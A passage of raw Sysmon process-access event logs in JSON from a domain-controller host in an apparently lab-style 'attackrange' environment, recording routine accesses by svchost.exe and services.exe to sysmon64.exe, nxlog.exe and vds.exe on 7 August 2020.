C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1203,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1204,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1205,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1206,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1207,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1208,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 916\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010320F0200}\r\nTargetProcessId: 2504\r\nTargetImage: C:\\Program Files (x86)\\nxlog\\nxlog.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"916","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010320F0200}","TargetProcessId":"2504","TargetImage":"C:\\Program Files (x86)\\nxlog\\nxlog.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1209,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010A9520200}\r\nTargetProcessId: 3380\r\nTargetImage: C:\\Windows\\System32\\vds.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010A9520200}","TargetProcessId":"3380","TargetImage":"C:\\Windows\\System32\\vds.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1210,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 